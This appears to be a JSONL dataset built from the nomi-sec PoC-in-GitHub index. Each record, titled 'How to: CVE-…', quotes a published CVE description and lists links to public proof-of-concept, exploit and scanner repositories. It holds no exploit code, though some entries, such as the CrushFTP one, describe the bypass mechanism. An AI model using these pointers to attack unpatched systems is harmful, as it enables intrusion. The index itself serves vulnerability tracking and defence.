{"id": "gh_d815fb5038c9", "question": "How to: CVE-2025-30406 (2025-04-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGladinet CentreStack through 16.1.10296.56315 (fixed in 16.4.10315.56368) has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors (who know the machineKey) to serialize a payload for server-side deserialization to achieve remote code execution. NOTE: a CentreStack admin can manually delete the machineKey defined in portal\\web.config.\n```\n- [W01fh4cker/CVE-2025-30406](https://github.com/W01fh4cker/CVE-2025-30406)\n- [mchklt/CVE-2025-30406](https://github.com/mchklt/CVE-2025-30406)\n- [threadpoolx/CVE-2025-30406-CentreStack-Triofox-Deserialization-RCE](https://github.com/threadpoolx/CVE-2025-30406-CentreStack-Triofox-Deserialization-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155439"}
{"id": "gh_2314cb09d815", "question": "How to: CVE-2025-30567 (2025-03-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.\n```\n- [Oyst3r1ng/CVE-2025-30567](https://github.com/Oyst3r1ng/CVE-2025-30567)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155443"}
{"id": "gh_08ec23a948fe", "question": "How to: CVE-2025-30712 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.1.6. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle VM VirtualBox accessible data as well as  unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L).\n```\n- [jamesb5959/CVE-2025-30712-_PoC](https://github.com/jamesb5959/CVE-2025-30712-_PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155449"}
{"id": "gh_5466bdeac8c1", "question": "How to: CVE-2025-30749 (2025-07-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).  Supported versions that are affected are Oracle Java SE: 8u451, 8u451-perf, 11.0.27, 17.0.15, 21.0.7, 24.0.1; Oracle GraalVM for JDK: 17.0.15, 21.0.7 and  24.0.1; Oracle GraalVM Enterprise Edition: 21.3.14. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n```\n- [rashedhasan090/AegisJava](https://github.com/rashedhasan090/AegisJava)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155454"}
{"id": "gh_ae5e4197d534", "question": "How to: CVE-2025-30772 (2025-03-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMissing Authorization vulnerability in WPClever WPC Smart Upsell Funnel for WooCommerce allows Privilege Escalation. This issue affects WPC Smart Upsell Funnel for WooCommerce: from n/a through 3.0.4.\n```\n- [Nxploited/CVE-2025-30772](https://github.com/Nxploited/CVE-2025-30772)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155461"}
{"id": "gh_f176110ac563", "question": "How to: CVE-2025-30911 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Control of Generation of Code ('Code Injection') vulnerability in Rometheme RomethemeKit For Elementor allows Command Injection. This issue affects RomethemeKit For Elementor: from n/a through 1.5.4.\n```\n- [Nxploited/CVE-2025-30911](https://github.com/Nxploited/CVE-2025-30911)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155465"}
{"id": "gh_71f4444f4fe9", "question": "How to: CVE-2025-30921 (2025-03-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters allows SQL Injection. This issue affects Newsletters: from n/a through 4.9.9.7.\n```\n- [DoTTak/CVE-2025-30921](https://github.com/DoTTak/CVE-2025-30921)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155469"}
{"id": "gh_1685a5287785", "question": "How to: CVE-2025-30967 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in NotFound WPJobBoard allows Upload a Web Shell to a Web Server. This issue affects WPJobBoard: from n/a through n/a.\n```\n- [Anton-ai111/CVE-2025-30967](https://github.com/Anton-ai111/CVE-2025-30967)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155473"}
{"id": "gh_599f020a28a1", "question": "How to: CVE-2025-31033 (2025-04-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in Adam Nowak Buddypress Humanity allows Cross Site Request Forgery. This issue affects Buddypress Humanity: from n/a through 1.2.\n```\n- [Nxploited/CVE-2025-31033](https://github.com/Nxploited/CVE-2025-31033)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155477"}
{"id": "gh_8052bf94c6ce", "question": "How to: CVE-2025-31125 (2025-03-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 6.2.4, 6.1.3, 6.0.13, 5.4.16, and 4.5.11.\n```\n- [sunhuiHi666/CVE-2025-31125](https://github.com/sunhuiHi666/CVE-2025-31125)\n- [MuhammadWaseem29/Vitejs-exploit](https://github.com/MuhammadWaseem29/Vitejs-exploit)\n- [0xgh057r3c0n/CVE-2025-31125](https://github.com/0xgh057r3c0n/CVE-2025-31125)\n- [harshgupptaa/Path-Transversal-CVE-2025-31125-](https://github.com/harshgupptaa/Path-Transversal-CVE-2025-31125-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155484"}
{"id": "gh_e592aeaf1a67", "question": "How to: CVE-2025-31129 (2025-03-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nJooby is a web framework for Java and Kotlin. The pac4j io.jooby.internal.pac4j.SessionStoreImpl#get module deserializes untrusted data. This vulnerability is fixed in 2.17.0 (2.x) and 3.7.0 (3.x).\n```\n- [cwm1123/CVE-2025-31129](https://github.com/cwm1123/CVE-2025-31129)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155488"}
{"id": "gh_0174d8c5d956", "question": "How to: CVE-2025-31131 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nYesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server. This vulnerability is fixed in 4.5.2.\n```\n- [MuhammadWaseem29/CVE-2025-31131](https://github.com/MuhammadWaseem29/CVE-2025-31131)\n- [Ashwesker/Ashwesker-CVE-2025-31131](https://github.com/Ashwesker/Ashwesker-CVE-2025-31131)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155492"}
{"id": "gh_128f2a279356", "question": "How to: CVE-2025-31133 (2025-11-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nrunc is a CLI tool for spawning and running containers according to the OCI specification. In versions 1.2.7 and below, 1.3.0-rc.1 through 1.3.1, 1.4.0-rc.1 and 1.4.0-rc.2 files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container's /dev/null) was actually a real /dev/null inode when using the container's /dev/null to mask. This exposes two methods of attack:  an arbitrary mount gadget, leading to host information disclosure, host denial of service, container escape, or a bypassing of maskedPaths. This issue is fixed in versions 1.2.8, 1.3.3 and 1.4.0-rc.3.\n```\n- [omne-earth/arca](https://github.com/omne-earth/arca)\n- [skynet-f-nvidia/CVE-2025-31133](https://github.com/skynet-f-nvidia/CVE-2025-31133)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155497"}
{"id": "gh_f66351155084", "question": "How to: CVE-2025-31137 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nReact Router is a multi-strategy router for React bridging the gap from React 18 to React 19. There is a vulnerability in Remix/React Router that affects all Remix 2 and React Router 7 consumers using the Express adapter. Basically, this vulnerability allows anyone to spoof the URL used in an incoming Request by putting a URL pathname in the port section of a URL that is part of a Host or X-Forwarded-Host header sent to a Remix/React Router request handler. This issue has been patched and released in Remix 2.16.3 and React Router 7.4.1.\n```\n- [pouriam23/vulnerability-in-Remix-React-Router-CVE-2025-31137-](https://github.com/pouriam23/vulnerability-in-Remix-React-Router-CVE-2025-31137-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155502"}
{"id": "gh_bb8d6e6b836c", "question": "How to: CVE-2025-31161 (2025-04-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka \"Unauthenticated HTTP(S) port access.\" A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.\n```\n- [Immersive-Labs-Sec/CVE-2025-31161](https://github.com/Immersive-Labs-Sec/CVE-2025-31161)\n- [TX-One/CVE-2025-31161](https://github.com/TX-One/CVE-2025-31161)\n- [SUPRAAA-1337/Nuclei_CVE-2025-31161_CVE-2025-2825](https://github.com/SUPRAAA-1337/Nuclei_CVE-2025-31161_CVE-2025-2825)\n- [SUPRAAA-1337/CVE-2025-31161_exploit](https://github.com/SUPRAAA-1337/CVE-2025-31161_exploit)\n- [0xgh057r3c0n/CVE-2025-31161](https://github.com/0xgh057r3c0n/CVE-2025-31161)\n- [Ashwesker/Ashwesker-CVE-2025-31161](https://github.com/Ashwesker/Ashwesker-CVE-2025-31161)\n- [ibrahmsql/CVE-2025-31161](https://github.com/ibrahmsql/CVE-2025-31161)\n- [r0otk3r/CVE-2025-31161](https://github.com/r0otk3r/CVE-2025-31161)\n- [f4dee-backup/CVE-2025-31161](https://github.com/f4dee-backup/CVE-2025-31161)\n- [acan0007/CVE-2025-31161](https://github.com/acan0007/CVE-2025-31161)\n- [Teexo/CVE-2025-31161](https://github.com/Teexo/CVE-2025-31161)\n- [0xDTC/CrushFTP-auth-bypass-CVE-2025-31161](https://github.com/0xDTC/CrushFTP-auth-bypass-CVE-2025-31161)\n- [ch3m1cl/CVE-2025-31161](https://github.com/ch3m1cl/CVE-2025-31161)\n- [Dairrow/CVE-2025-31161](https://github.com/Dairrow/CVE-2025-31161)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155510"}
{"id": "gh_f3686e3184c3", "question": "How to: CVE-2025-31200 (2025-04-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA memory corruption issue was addressed with improved bounds checking. This issue is fixed in tvOS 18.4.1, visionOS 2.4.1, iOS iOS 18.4.1 and iPadOS 18.4.1, macOS Sequoia 15.4.1. Processing an audio stream in a maliciously crafted media file may result in code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on iOS.\n```\n- [zhuowei/apple-positional-audio-codec-invalid-header](https://github.com/zhuowei/apple-positional-audio-codec-invalid-header)\n- [JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201](https://github.com/JGoyd/iOS-Attack-Chain-CVE-2025-31200-CVE-2025-31201)\n- [serundengsapi/CVE-2025-31200-iOS-AudioConverter-RCE](https://github.com/serundengsapi/CVE-2025-31200-iOS-AudioConverter-RCE)\n- [hunters-sec/CVE-2025-31200](https://github.com/hunters-sec/CVE-2025-31200)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155515"}
{"id": "gh_092acbd2eb01", "question": "How to: CVE-2025-31258 (2025-05-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThis issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.5. An app may be able to break out of its sandbox.\n```\n- [sureshkumarsat/CVE-2025-31258-PoC](https://github.com/sureshkumarsat/CVE-2025-31258-PoC)\n- [wh1te4ever/CVE-2025-31258-PoC](https://github.com/wh1te4ever/CVE-2025-31258-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155519"}
{"id": "gh_b18b0be585ec", "question": "How to: CVE-2025-31324 (2025-04-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n```\n- [rxerium/CVE-2025-31324](https://github.com/rxerium/CVE-2025-31324)\n- [redrays-io/CVE-2025-31324](https://github.com/redrays-io/CVE-2025-31324)\n- [Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools](https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools)\n- [moften/CVE-2025-31324](https://github.com/moften/CVE-2025-31324)\n- [moften/CVE-2025-31324-NUCLEI](https://github.com/moften/CVE-2025-31324-NUCLEI)\n- [Alizngnc/SAP-CVE-2025-31324](https://github.com/Alizngnc/SAP-CVE-2025-31324)\n- [ODST-Forge/CVE-2025-31324_PoC](https://github.com/ODST-Forge/CVE-2025-31324_PoC)\n- [abrewer251/CVE-2025-31324_PoC_SAP](https://github.com/abrewer251/CVE-2025-31324_PoC_SAP)\n- [BlueOWL-overlord/Burp_CVE-2025-31324](https://github.com/BlueOWL-overlord/Burp_CVE-2025-31324)\n- [nullcult/CVE-2025-31324-File-Upload](https://github.com/nullcult/CVE-2025-31324-File-Upload)\n- [respondiq/jsp-webshell-scanner](https://github.com/respondiq/jsp-webshell-scanner)\n- [JonathanStross/CVE-2025-31324](https://github.com/JonathanStross/CVE-2025-31324)\n- [Onapsis/Onapsis-Mandiant-CVE-2025-31324-Vuln-Compromise-Assessment](https://github.com/Onapsis/Onapsis-Mandiant-CVE-2025-31324-Vuln-Compromise-Assessment)\n- [rf-peixoto/sap_netweaver_cve-2025-31324-](https://github.com/rf-peixoto/sap_netweaver_cve-2025-31324-)\n- [NULLTRACE0X/CVE-2025-31324](https://github.com/NULLTRACE0X/CVE-2025-31324)\n- [nairuzabulhul/nuclei-template-cve-2025-31324-check](https://github.com/nairuzabulhul/nuclei-template-cve-2025-31324-check)\n- [sug4r-wr41th/CVE-2025-31324](https://github.com/sug4r-wr41th/CVE-2025-31324)\n- [antichainalysis/sap-netweaver-0day-CVE-2025-31324](https://github.com/antichainalysis/sap-netweaver-0day-CVE-2025-31324)\n- [harshitvarma05/CVE-2025-31324-Exploits](https://github.com/harshitvarma05/CVE-2025-31324-Exploits)\n- [aristois913/CVE-2025-31324](https://github.com/aristois913/CVE-2025-31324)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155526"}
{"id": "gh_0dda1bf63a8c", "question": "How to: CVE-2025-31336", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [coleleavitt/AAMVA-PDF417-Vulnerability-Research](https://github.com/coleleavitt/AAMVA-PDF417-Vulnerability-Research)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155530"}
{"id": "gh_f1870b66dc0c", "question": "How to: CVE-2025-31486 (2025-04-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 4.5.12, 5.4.17, 6.0.14, 6.1.4, and 6.2.5.\n```\n- [iSee857/CVE-2025-31486-PoC](https://github.com/iSee857/CVE-2025-31486-PoC)\n- [Ly4j/CVE-2025-31486](https://github.com/Ly4j/CVE-2025-31486)\n- [hackmelocal/CVE-2025-31486-Simulation](https://github.com/hackmelocal/CVE-2025-31486-Simulation)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155535"}
{"id": "gh_21804e09d8c2", "question": "How to: CVE-2025-31644 (2025-05-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWhen running in Appliance mode, a command injection vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command which may allow an authenticated attacker with administrator role privileges to execute arbitrary system commands. A successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n```\n- [mbadanoiu/CVE-2025-31644](https://github.com/mbadanoiu/CVE-2025-31644)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155540"}
{"id": "gh_34cd9ad71910", "question": "How to: CVE-2025-31650 (2025-04-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Input Validation vulnerability in Apache Tomcat. Incorrect error handling for some invalid HTTP priority headers resulted in incomplete clean-up of the failed request which created a memory leak. A large number of such requests could trigger an OutOfMemoryException resulting in a denial of service.\\n\\nThis issue affects Apache Tomcat: from 9.0.76 through 9.0.102, from 10.1.10 through 10.1.39, from 11.0.0-M2 through 11.0.5.\\nThe following versions were EOL at the time the CVE was created but are \\nknown to be affected: 8.5.90 though 8.5.100.\\n\\n\\nUsers are recommended to upgrade to version 9.0.104, 10.1.40 or 11.0.6 which fix the issue.\n```\n- [absholi7ly/TomcatKiller-CVE-2025-31650](https://github.com/absholi7ly/TomcatKiller-CVE-2025-31650)\n- [tunahantekeoglu/CVE-2025-31650](https://github.com/tunahantekeoglu/CVE-2025-31650)\n- [sattarbug/Analysis-of-TomcatKiller---CVE-2025-31650-Exploit-Tool](https://github.com/sattarbug/Analysis-of-TomcatKiller---CVE-2025-31650-Exploit-Tool)\n- [assad12341/DOS-exploit](https://github.com/assad12341/DOS-exploit)\n- [assad12341/Dos-exploit-](https://github.com/assad12341/Dos-exploit-)\n- [obscura-cert/CVE-2025-31650](https://github.com/obscura-cert/CVE-2025-31650)\n- [B1gN0Se/Tomcat-CVE-2025-31650](https://github.com/B1gN0Se/Tomcat-CVE-2025-31650)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155548"}
{"id": "gh_d701055051ce", "question": "How to: CVE-2025-31651 (2025-04-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. For a subset of unlikely rewrite rule configurations, it was possible \\nfor a specially crafted request to bypass some rewrite rules. If those \\nrewrite rules effectively enforced security constraints, those \\nconstraints could be bypassed.\\n\\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.5, from 10.1.0-M1 through 10.1.39, from 9.0.0.M1 through 9.0.102.\\nThe following versions were EOL at the time the CVE was created but are \\nknown to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions \\nmay also be affected.\\n\\n\\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.\n```\n- [gregk4sec/CVE-2025-31651](https://github.com/gregk4sec/CVE-2025-31651)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155553"}
{"id": "gh_84ad0269a7aa", "question": "How to: CVE-2025-31702 (2025-10-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability exists in certain Dahua embedded products. Third-party malicious attacker with obtained normal user credentials could exploit the vulnerability to access certain data which are restricted to admin privileges, such as system-sensitive files through specific HTTP request. This may cause tampering with admin password, leading to privilege escalation. Systems with only admin account are not affected.\n```\n- [itres-labs/CVE-2025-31702](https://github.com/itres-labs/CVE-2025-31702)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155558"}
{"id": "gh_7bb60953d9c5", "question": "How to: CVE-2025-31710 (2025-06-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn engineermode service, there is a possible command injection due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed.\n```\n- [Skorpion96/unisoc-su](https://github.com/Skorpion96/unisoc-su)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155562"}
{"id": "gh_4662905264e1", "question": "How to: CVE-2025-31722 (2025-04-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Jenkins Templating Engine Plugin 2.5.3 and earlier, libraries defined in folders are not subject to sandbox protection, allowing attackers with Item/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.\n```\n- [Nick6371/CVE-2025-31722](https://github.com/Nick6371/CVE-2025-31722)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155568"}
{"id": "gh_73eb30d435cd", "question": "How to: CVE-2025-31864 (2025-04-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Out the Box Beam me up Scotty – Back to Top Button allows Stored XSS. This issue affects Beam me up Scotty – Back to Top Button: from n/a through 1.0.23.\n```\n- [DoTTak/CVE-2025-31864](https://github.com/DoTTak/CVE-2025-31864)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155575"}
{"id": "gh_6e77dc17ddfa", "question": "How to: CVE-2025-31931 (2025-11-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUncontrolled search path for the Instrumentation and Tracing Technology API (ITT API) software before version 3.25.4 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.\n```\n- [yohanes/POC-CVE-2025-31931](https://github.com/yohanes/POC-CVE-2025-31931)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155580"}
